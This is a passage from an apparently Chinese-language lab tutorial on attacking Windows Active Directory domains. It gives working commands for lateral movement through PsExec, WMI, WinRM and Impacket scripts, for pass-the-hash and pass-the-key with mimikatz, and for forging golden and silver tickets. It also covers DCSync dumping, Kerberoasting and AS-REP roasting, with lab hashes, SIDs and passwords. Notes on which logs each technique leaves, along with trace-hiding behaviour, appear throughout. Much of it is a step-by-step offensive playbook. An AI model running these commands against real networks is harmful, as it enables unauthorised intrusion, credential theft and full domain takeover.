2.开启139或者445端口,以运行SMB;

3.需要目标主机的权限,创建服务;

PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -i -s cmd.exe

-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框

-u:用户名

-p:密码

-s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell

impacket包

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。

python psexec.py [[domain/] username [: password] @] [Target IP Address]

python psexec.py VVVV1/admins:User\!@#45@10.10.10.10

# 通过哈希密码连接获得目标域用户交互式shell

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

python文件和exe文件的命令相同。

foglltbxlam11795.png

使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。

事件ID:7045

使用官方的PSEXEC TOOLS

qeecfbh5tsq11798.png

使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用)

zvd3txxrwhg11803.png

安全性分析:psexec在执行时不仅会上传一个文件,还会创建一个服务,这些都是会被目标主机进行日志记录的,因此比较危险。

WMI

使用VPN和socks方式执行方式相同。

WMI的全名为(Windows Management Instrumentation,Windows管理规范),用户可以通过WMI管理本地和远程的计算机。WMI使用的协议是DCOM(分布式组件对象模型)和WinRM(Windows远程管理)。

运行WMI需要的条件:

1.远程主机的WMI服务为开启状态;

2.双方主机打开并放行135端口;

在windows上可以使用wmic.exe和PowerShell Cmdlet来使用WMI数据和执行WMI方法。

wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

查询远程进程信息

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief

wmic命令执行没有回显,因此要将结果写入到txt中

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe"

// /node:指定将对其进行操作的服务器

在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话,wmic远程执行命令在正常情况是不会产生日志,只有打开命令行审核功能,在使用wmic命令执行任何操作时,相关的事件将被记录在Windows事件日志中。

mkt45o1fhtg11807.png

DCOM利用

使用VPN和socks方式执行方式相同。

https://www.freebuf.com/articles/web/293280.html

WinRM利用

使用VPN和socks方式执行方式相同。

http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_4124.html

WinRM是通过执行WS-management协议来实现远程管理的,允许处于同一个网络内的Windows计算机彼此之间相互访问和交换信息,对应的端口是5985

在windows-2008以上版本的服务器中,WinRM服务才会自动启动,在使用WinRM服务进行横向移动时,需要拥有远程主机的管理员凭据。

安装WinRM服务

1、查看是否开启winrm

winrm e winrm/config/listener

如果报错说明没有开启

2、开启服务

要在管理员模式下,使用CMD。因为Powershell会无法执行

winrm quickconfig

会有两个问题,都输入“y”即可

3、winrm service设置auth

winrm set winrm/config/service/auth "@{Basic="true"}"

4、为winrm service 配置加密方式为允许非加密(这个不配置,远程连接会出错)

winrm set winrm/config/service "@{AllowUnencrypted="true"}"

5、查看winrm配置

winrm get winrm/config

配置TrustedHosts

winrm set winrm/config/client @{TrustedHosts="10.10.10.10"} #信任主机10.10.10.10

Set-Item WSMan:localhost\client\trustedhosts -value * #powershell 信任所有主机

命令执行

winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "whoami"

winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "cmd"

kafklagzizq11809.png

在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话,winRM远程执行命令在正常情况是不会产生日志。

5mk2zsksvvq11813.png

linux进行横向渗透

一般在linux中进行横向渗透,使用Impacket 工具包进行渗透,其中为python脚本。

wmiexec.py

使用VPN和socks方式执行方式相同。

它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。

python wmiexec.py [[domain/] username [: password] @] [Target IP Address]

python wmiexec.py VVVV1/admins:User\!@#45@10.10.10.10 (注意:密码中如果有!,需要将!进行转义)

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

l455aacnohe11817.png

在域控主机会留下登录的日志,但是在socks隧道的客户端主机不会留下登录的日志。

fpv1xa3qnmp11825.png

psexec.py

使用VPN和socks方式执行方式相同。

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。

python psexec.py [[domain/] username [: password] @] [Target IP Address]

python psexec.py VVVV1/admins:User\!@#45@10.10.10.10

# 通过哈希密码连接获得目标域用户交互式shell

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

wxuwntam4gk11829.png

使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。

事件ID:7045

使用官方的PSEXEC TOOLS

yifl45qyjva11833.png

使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用)

y4lj52b2kjj11847.png

smbexec.py

使用VPN和socks方式执行方式相同。

# 通过明文密码连接获得目标本地用户交互式shell

python smbexec.py .VVVV1/admins:User!@#45@10.10.10.10

通过哈希密码连接获得目标域用户交互式shell

python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

4r5ydqsfg4311859.png

连接域控的话,会在域控上产生登录日志,不会在搭建socks隧道的客户端产生日志。

x0ozrnsu1iv11873.png

并且,执行smbexec会上传一个bat文件,并且开启一个服务BTOBTO来执行命令并且将bat文件删除,达到清理痕迹的作用。运行服务的日志也会记录在主机的日志中。

g2cqon55fuj11878.png

atexec.py

使用VPN和socks方式执行方式相同。

通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。

python atexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami"

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

使用atexe.py脚本会自动生成计划任务,因此在日志中也会有体现。

kw3uqhwssz111884.png

wmcbbamlfuk11886.png

3msrb0bnnqn11891.png

dcomexec.py

使用VPN和socks方式执行方式相同。

前提条件:135端口、445端口

135端口用于连接DCOM,445端口负责获取命令执行结果。

dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象。

python dcomexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami"

python dcomexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

在域控会有登录的日志体现。

1ryt5c1j3jf11893.png

Windows进行横向渗透

使用Impacket 工具包的exe版本,执行命令的语法与上面相同。

执行脚本所留下的日志痕迹也与上文中的类似。

哈希传递攻击

mimikatz

使用VPN和socks方式执行方式相同。

man1:0ec4b410903c6dc7594464f27d347497

admins: 0ec4b410903c6dc7594464f27d347497

administrator:ad5a870327c02f83cb947af6a94a4c23

ad-2016$: 99ac70cee2d4370638397a39c71db91d

使用mimikatz进行hash传递攻击,将域管理员账户的hash注入到lsass进程中。

yfiuwf4yt2u11900.png

privilege::debug

sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23

sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d

sekurlsa::pth /user:EXCHANGE-2016$ /domain:vvvv1.com /ntlm:a377e26f4118ba88ce1af6a4f8ac9daf

但是在socks代理的情况下,将hash注入到域外的主机中,无法解析dns,也无法知道域控的位置,只能通过指定ip的方式来进行操作。

lst3wyuoa1311903.png

使用dir等的操作时也会在域控中有日志体现。

dgpaenow1lk11914.png

sharpkatz

SharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash ad5a870327c02f83cb947af6a94a4c23

在域控主机也会有登录日志体现。

omix21ril5s11917.png

密钥传递攻击

https://www.freebuf.com/column/220740.html

https://www.vuln.cn/6813

对于安装补丁KB2871997之后的机器,经过测试,本地管理员组中,只有administrator账户可以进行NTML-HASH传递,其他的账户包括非administrator的本地管理员都无法使用NTLM-HASH传递。

当然非administrator的本地管理员PassThe Hash失败的原因其实是由于远程访问和UAC的限制。

在版本windows servers 2012 R2之后,系统默认安装该补丁。Windows Server 2012 R2 的版本号为 6.3。因此,如果您的操作系统版本号大于 6.3,则可以判断它大于 Windows Server 2012 R2。

远程访问和UAC

User Account Control and remote restrictions - Windows Server

根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的帐户,会在网络上进行限制。

qldqx11crux11920.png

在使用本地用户进行远程登录时不会使用完全管理员权限(fulladministrator),但是在域用户被加入到本地管理员组之后,域用户可以使用完全管理员(fulladministrator)的AccessToken运行,并且UAC不会生效。

这样就解释了为什么在打上补丁之后,本地管理员除了administrator可以进行连接之外,其他管理员无法进行连接(如果一个域内普通账户,加入了本地管理员组的话也是可以进行连接的)。

当我们使用本地管理员Administrator账户进行NTLM-HASH传递的时候,可以直接传递成功。

sekurlsa::pth /user:administrator /domain:WEB-2012 /ntlm:b025cd380141ba05de422efcef9bab2f

0h1cbya2tuh11923.png

但是使用本地管理员组中的admin账户进行NTLM-HASH传递的时候,无法成功。

1grdm13tl3q11926.png

sekurlsa::pth /user:admin /domain:WEB-2012 /ntlm:0ec4b410903c6dc7594464f27d347497

由此可见在上面的实验中administrator能够成功PTH,而本地管理员用户admin无法成功,是因为以admin的身份发起的请求被UAC拒绝。

Administrator用户成功的原因同样是因为UAC中的一项配置:FilterAdministratorToken

Administrator账户启用UAC限制
修改组策略

选择 计算机配置->Windows设置->安全设置->本地策略->安全选项

发现当我们安装补丁后,下图选项默认开启。

1gvtsgoqhv211928.png

ufucfym12kt11930.png

我们直接选择启用该选项即可。

发现administrator账户已经无法使用NTLM-HASH传递了。

j40pgxxmudo11932.png

FilterAdministratorToken

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835564(v=ws.10)

在UAC组策略设置和注册表项设置的官方文档中可以看到相关的描述,关于UAC的注册表中一个注册表键值为FilterAdministratorToken,且在Windows Server 2008默认为Disable。

eyyn4npkvc111934.png

dvaafwmupzz11936.png

1h0slrm31bp11937.png

官方文档中我们可以看出,中国内置管理员账户就是Administrator账户。

之所以Administrator用户成功传递HASH的原因就与这一项注册表有关,默认情况下FilterAdministratorToken的值为0(distabled),UAC不会对administrator账户进行限制。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

pxl5mi51qrn11939.png

如果想要关闭Administrator远程访问,直接将FilterAdministratorToken启用即可,修改成1。

05fgm4rsz3s11942.png

修改后立即生效,administrator账户也无法远程访问。

v00tpds1stn11944.png

关闭UAC限制
修改组策略

选择 计算机配置->Windows设置->安全设置->本地策略->安全选项

发现当我们安装补丁后,下图选项默认开启。

huvpr5aieu511947.png

wmsxs1qmtsv11949.png

我们直接选择禁用该选项即可。

重启后发现admin账户可以传递HASH。

3vasxyyv20n11951.png

LocalAccountTokenFilterPolicy

https://learn.microsoft.com/en-US/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction

在官方文档中提到可以通过修改注册表中LocalAccountTokenFilterPolicy选项的键值来进行更改禁用UAC。

b3noekjib1311953.png

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

如果LocalAccountTokenFilterPolicy注册表项不存在可以直接新建一条,并将值设置为1,LocalAccountTokenFilterPolicy的值默认为0(开启远程限制),为1时将关闭远程限制

33ld3cgudys11957.png

两种方法总结:

组策略优先级>注册表

1.当组策略关闭UAC限制后,注册表LocalAccountTokenFilterPolicy设置0或1,都关闭UAC限制;

2.当组策略开启UAC限制后,注册表LocalAccountTokenFilterPolicy设置成0是开启UAC限制,设置成1是关闭UAC限制;

KB2871997与PTK攻击

具体的KB2871997补丁内容更新可以查看下面的链接了解。

https://www.freebuf.com/column/220740.html

这里我们主要回归到KB2871997补丁对我们使用密钥传递攻击带来的影响。

KB2871997补丁其中一项:支持“ProtectedUsers”组

“ProtectedUsers”组是WindowsServer 2012 R2域中的安全组,“ProtectedUsers”组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密。

f1qecymhxfq11961.png

https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash

ameo33z5upl11965.png

40mqqbb1emy11967.png

“受保护的用户”组支持(强制Kerberos身份验证以实施AES加密)

1.当“域功能级别”设置为Windows Server 2012 R2时,将创建“受保护的用户”组。

2.受保护的用户组中的帐户只能使用Kerberos协议进行身份验证,拒绝NTLM,摘要式身份验证和CredSSP。

3.Kerberos拒绝DES和RC4加密类型进行预身份验证-必须将域配置为支持AES或更高版本。

4.不能使用Kerberos约束或不受约束的委托来委托受保护用户的帐户。

5.受保护的用户可以使用“身份验证策略”很好地工作。

由上文中我们可以了解到,在更新补丁KB2871997后,支持AES加密的凭据进行传递,且走的协议为kerberos协议。

sekurlsa::ekeys

sekurlsa::pth /user:administrator /domain:vvvv1.com /aes256:23a6b51c13d6630cc8a3eb8f4e6966f15e51aeb8ceec190fb280607e413ebd9d

经过测试,windows10无法使用PTK密钥传递

uzmoxh0vtbl11975.png

m4e3brmhjg111981.png

另外,因为是走的kerberos协议,那么只能通过域名进行连接,无法使用ip进行连接。

evyc0ljzj5t11985.png

在windows中的socks代理的环境下,也无法使用PTK,因为proxifier代理软件无法远程解析DNS,就无法使用kerberos认证,就无法使用PTK传递。

写到这里,我们发现PTK密钥传递攻击实际上是比较鸡肋的一个功能,基于kerberos认证,但是如果获取到的是本地管理员的权限,但是导出本地的hash信息中不会存在AES加密的kerberos凭据,因为kerberos认证只在域内进行使用,本地不会使用kerberos认证,那么就不会存在aes加密的kerberos凭据。只能获取域内账户的凭据才能通过AES加密的凭据进行PTK。但是从上文可以知道,实际上域内账户并不会被该补丁限制,那就不需要使用AES传递,而是直接使用NTLM-HASH进行传递攻击即可。

虽然PTK方法用处比较小,但是存在必然有它的原因。当我们遇到NTLM认证被禁用的情况下,PTK攻击的重要性就出现了,可以直接使用AES加密的凭据进行传递攻击以获得权限。

黄金票据

krbtgt账户

krbtgt是一个特殊的账户,它是用于Kerberos身份验证服务的关键账户。该账户的权限是非常高的,它拥有颁发和验证客户端服务票据所需的密钥和证书。

使用krbtgt账户主要有两个方面的操作:

  1. 颁发服务票据:krbtgt账户可以使用其密钥和证书为其他服务账户颁发服务票据。服务票据用于客户端与服务端之间的互相认证和授权。
  2. 验证服务票据:krbtgt账户还负责验证客户端发来的服务票据的有效性和真实性。验证过程需要使用krbtgt账户的密钥和证书进行解密和比对。

kerberos认证流程

https://zhuanlan.zhihu.com/p/266491528

1dceshmmq5j11988.png

在日志中我们也可以看出kerberos认证流程

如果一个正确的域内用户进行kerberos认证,则会产生如下五条日志(3号日志为验证ST,也就是用户权限PAC)

t5q5njmp2ow11992.png

如果是域内无权限账户进行kerberos认证,则不会产生4号日志,因为权限不足导致无法分配权限。

如果不使用域内账户进行认证,则只会产生登录错误,审核失败的日志,不会使用kerberos认证。

黄金票据

因为黄金票据的原理是伪造tgt,所以只能使用kerberos认证,不能使用ntlm认证。

因此即使导入了票据,使用如下的指令也会提示没有权限。

dir \\10.10.10.10\c$

如果把ip修改成对应的机器名或域名即可成功。

VPN环境

前提需要获取到krbtgt账户的hash值,利用krbtgt账户的hash在kerberos认证过程中的第3、4步骤,通过伪造用户的TGT(包含用户相关的权限身份信息,使用krbtgt的ntlm-hash进行加密)来验证,由于服务器的不严谨,无论用户是否拥有访问服务的权限,只要TGT正确,都可以返回ST(服务票据)。

验证条件

1.拥有一个域的SID;

2.拥有krbtgt账户的hash值;

3.需要一个本地管理员用户,来执行mimikatz

privilege::debug

lsadump::dcsync /domain:ww1.com /user:krbtgt

lsadump::dcsync /domain:ww1.com /all /csv

krbtgt账户ntlm-hash:eb92dd77ca9cdadd073ae907a7c22d0d

获取你将要注入的一个普通用户的SID(去掉权限标识-500)

S-1-5-21-3315874494-179465980-3412869843-500

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

tjz4p2dxvyy11997.png

还未注入黄金票据时,普通用户无法访问域控资源

zqckb55n4bh12002.png

生成黄金票据(注意要删除SID后面的标识符)/user:伪造的用户名

kerberos::golden /user:administrator /domain:ww1.com /sid:S-1-5-21-2672614020-1166804175-548711290 /krbtgt:f888308114c87fd64fef57d8907f3b46 /ticket:1.kirbi

清除原本的票据信息

kerberos::purge

加载票据

kerberos::ptt 1.kirbi

成功访问到域控资源

dwr4vsrfujj12003.png

使用dcsync获取到域内hash

lsadump::dcsync /domain:ww1.com /all /csv

y41j3ezz2bo12008.png

接下来验证域林中子域的黄金票据具有怎么样的权限

子域控的krbtgt hash值

5521f994722ff1807d88d17dd9d19535

子域的SID

S-1-5-21-3625630716-398430537-4180109759

u4hkar4z13d12016.png

制作黄金票据

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

使用子域krbtgt制作的黄金票据可以访问子域控的资源

eg3aqut0zu312020.png

无法访问主域控的资源,也无法访问主域的资源

4ex2qg00lxh12023.png

yguhfbzwqeq12025.png

也无法访问同级别子域的资源

0vreifac1xp12027.png

接下来使用主域的krbtgt生成黄金票据

主域的krbtgt

eb92dd77ca9cdadd073ae907a7c22d0d

主域的SID

S-1-5-21-3315874494-179465980-3412869843

xmwowrigtnj12030.png

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

经过测试,发现和主域的administrator权限相同,可以访问主域和子域控的资源,但是无法访问子域成员机的资源。

接下来我们测试使用主域的krbtgt和子域的SID生成黄金票据

主域的krbtgt

eb92dd77ca9cdadd073ae907a7c22d0d

子域的SID

S-1-5-21-3625630716-398430537-4180109759

acpv0puf1ih12032.png

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

kerberos::purge

kerberos::ptt 1.kirbi

发现拥有的是childv域的管理员权限,只能访问childv域内所以资源,无法访问主域和其他同级子域的资源。

lukwqo2kz5q12034.png

0zfter2pavq12039.png

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

这条指令的票据没有任何权限,可能是因为krbtgt需要与参数/domain匹配。

接下来我们测试使用子域的krbtgt和主域的SID生成黄金票据

子域的krbtgt

5521f994722ff1807d88d17dd9d19535

主域的SID

S-1-5-21-3315874494-179465980-3412869843

hnsvlc3x4ql12044.png

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

发现获取到的是主域administrator的权限,可以访问主域、子域控的资源

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

这条指令的票据没有任何权限,可能是因为krbtgt需要与参数/domain匹配。

使用ticketer.py实现

https://blog.csdn.net/qq_41874930/article/details/108266378

https://xz.aliyun.com/t/11877

https://paper.seebug.org/321/

首先使用工具ticketer.py生成票据

python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator

lzabwt2mwag12050.png

使用 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径

export KRB5CCNAME=/path/to/ccache/file

export KRB5CCNAME=/tmp/administrator.ccache

echo $KRB5CCNAME

mruvuxu1v2u12054.png

在配置好socks代理和proxychains远程解析dns之后,即可使用该票据进行高权限操作。

proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

//-codec gbk 防止回弹的cmd乱码的情况出现

  1. 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。
  2. 记下 chcp.com 命令返回的字符编码代码页。
  3. 使用 Python 的 codecs 库中的标准编码列表(https://docs.python.org/3/library/codecs.html#standard-encodings)找到对应的编码名称。
  4. 在运行 smbexec.py 脚本时,添加 -codec 参数,并指定与目标主机字符编码一致的编码名称。例如,如果字符编码代码页为 936,则选择 GBK 编码进行解码。(-codec gbk)

dsjiuwgclgg12057.png

socks隧道环境

在socks环境中,想要解析域名对应的ip,使用Proxifier工具无法代理远程dns,因此只能通过本地进行修改host文件,本地修改host不能解决远程dns解析的问题,因为修改本地host相当于是在本地将域名和ip进行替换,远程还是相当于通过ip操作。

目前来说,windows环境下socks代理的情况下无法使用黄金票据,因为windows代理软件Proxifier无法解决远程dns解析的问题。如果是在域外的一台与域内同网段的机器操作,自己配置了dns解析,就可以使用黄金票据了。(与kerberos协议无关,ntlm协议和kerberos协议是走tcp的,只要网络是通的,那就可以使用ntlm和kerberos认证)

4rjsq5w5tmu12062.png

但是在linux环境下,linux代理软件proxychains可以远程解析dns,因此可以使用黄金票据。

使用ticketer.py实现

https://paper.seebug.org/321/

首先使用工具ticketer.py生成票据

python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator

gb1lfgtr1fa12067.png

使用 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径

export KRB5CCNAME=/path/to/ccache/file

export KRB5CCNAME=/tmp/administrator.ccache

echo $KRB5CCNAME

gomdudhopl412071.png

在配置好socks代理和proxychains远程解析dns之后,即可使用该票据进行高权限操作。

proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

//-codec gbk 防止回弹的cmd乱码的情况出现

  1. 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。
  2. 记下 chcp.com 命令返回的字符编码代码页。
  3. 使用 Python 的 codecs 库中的标准编码列表(https://docs.python.org/3/library/codecs.html#standard-encodings)找到对应的编码名称。
  4. 在运行 smbexec.py 脚本时,添加 -codec 参数,并指定与目标主机字符编码一致的编码名称。例如,如果字符编码代码页为 936,则选择 GBK 编码进行解码。(-codec gbk)

tbwvzprb43k12074.png

Kerberosast攻击

https://www.cnblogs.com/Hekeats-L/p/16800918.html

https://zhuanlan.zhihu.com/p/475122515

在使用 Kerberos协议进行身份验证的网络中,必须在内置账号(Networkservice, Localsystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。

但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。

**Kerberos身份验证使用sPN将服务实例与服务登录账号关联起来。**如果域中的计算机上安了多个服务实例,那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每个名称或别名注册一个SPN。

根据Kerberos协议,当用户输人自己的账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭据)

下面通过一个例子来说明。当用户需要访问MSSQL服务时,系统会以当前用户身份向城制器查询SPN为“MSSQL”的记录。找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC.KDC中的身份验证量务(AS)对TGT进行解密。

确认无误后,由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的地址发送给用户,用户使用该票据即可访问MSSQL服务。

ecadb2isjes12079.png

而Kerberosast攻击主要利用了TGS_REP阶段使用服务的NTLM Hash返回的加密数据,对于域内的任何主机,都可以通过查询SPN,向域内的所有服务请求ST,然后进行暴力破解。

具体的利用过程

1.拥有一个域内普通用户的hash(拥有正确的TGT);

2.查询SPN,向域内的所有服务请求ST;

3.因为KDC不会验证权限,因此无论是否拥有访问该服务的权限,只要TGT正确,TGS服务器都会返回该服务对应的服务票据ST;

4.使用工具破解服务HASH;

使用工具Rubeus.exe

Rubeus.exe kerberoast

oidsrauouba12080.png

使用Impacket工具包的GetUserSPNs.py

python3 GetUserSPNs.py vvvv1.com/administrator:Password1 -dc-ip 10.10.24.188 -request

lihagah2waf12083.png

导出hash后使用hashcat进行解密即可

hashcat -m 13100 -a 0 hash.txt Pass.txt

破解服务帐户密码后,根据服务帐户是否为域管理员,有多种方法可以窃取数据。如果服务帐户是域管理员,你将拥有类似于银票的控制权,并且可以收集重要的数据,例如转储 NTDS.dit。如果服务帐户不是域管理员,你可以使用它来登录其他系统获得立足点或者进行权限升级,或者你可以使用破解的密码来攻击其他服务和域管理员帐户。

AS-REP Roasting攻击

https://www.cnblogs.com/Hekeats-L/p/16800918.html

https://zhuanlan.zhihu.com/p/474523090

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting

ldmmcsd3qqe12084.png

预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。

正常情况下,在上图中,在kerberos认证第一步中,会向AS发送用户名和密码,并且向AS发送一个AS_REQ,这个AS_REQ里包含了使用Client的NTLM-Hash加密的时间戳以及Client-info、Server-info等数据,以及一些其他信息。然后AS会去检查客户端ID是否在数据库中,如果在,则使用其hash进行解密比对,比对成功,则发送两条信息给客户端,一条是使用客户端HASH加密的Session Key等信息,另一条就是使用krbtgt HASH加密的票据TGT

而这个HASH比对验证的过程就是预身份验证,如果取消掉预身份验证,只要使用的是KDC数据库中存在的用户名,那么就会直接返回使用客户端HASH加密的Session Key等信息,可以进行离线爆破。

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。

ve54redxpg212088.png

使用工具Rubeus.exe

Rubeus.exe asreproast

oeb5a1te52412090.png

https://hashcat.net/wiki/doku.php?id=example_hashes

查找hashcat密码,为了能让hashcat识别,我们要在$krb5asrep后面添加一个$23

hashcat -m 18200 hash.txt passwd.txt--force

还有工具ASREPROAST.ps1

Powershell -ExecutionPolicy Bypass

Import-Module .\ASREPRoast.ps1

Invoke-ASREPRoast

Get-ASREPHash -UserName man03 -Domain vvvv1.com

rm3czezab5k12093.png

还有工具Impacket中的GetNPUsers.py

python3 GetNPUsers.py -dc-ip 10.211.55.30 hacker.lab/ -usersfile users.txt -format john -outputfile hashes

尝试该工具会在日志中生成4678的TGT请求记录

55gd44keolc12094.png

在实战当中很少见会开启这个选项的,所以我们在内网渗透中一般是用来做权限维持。

需要枚举域内用户是否存在开启选项

1. 可以使用PowerView、kerbrute等工具枚举出存在开启选项”Do not require Kerberos preauthentication”的用户

2. 导出hash并破解

  • 需要先获得对指定用户的GenericWrite权限,利用思路如下:
  • 开启用户选项”Do not require Kerberos preauthentication”
  • 导出hash并破解
  • 关闭用户选项”Do not require Kerberos preauthentication”

**总结:****与Kerberoasting和黄金票据的区别**

· AS-REP Roasting:获取用户hash然后离线暴力破解

· Kerberoasting:获取应用服务hash然后暴力破解

· 黄金票据:通过假冒域中不存在的用户来访问应用服务

白银票据

https://www.freebuf.com/articles/others-articles/329728.html

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。

在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。

通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。

所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

hgueah5sg5312098.png

在Windows下

arhikhqg3uy12099.png

vzrxxpyozpw12103.png

im4uatomofb12106.png

klist purge

privilege::debug

kerberos::golden /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /target:ad-2016.vvvv1.com /service:cifs /rc4:0e88bb31c15409de8c9302a085a0b853 /user:admin /ptt

在socks代理的环境下,只需要修改host文件指定域名与ip的关系即可。

C:\Windows\System32\drivers\etc\host

inzyd5n30iv12111.png

odftdtoiegr12113.png

在linux下

使用pypykatz

https://github.com/skelsec/pypykatz/wiki/

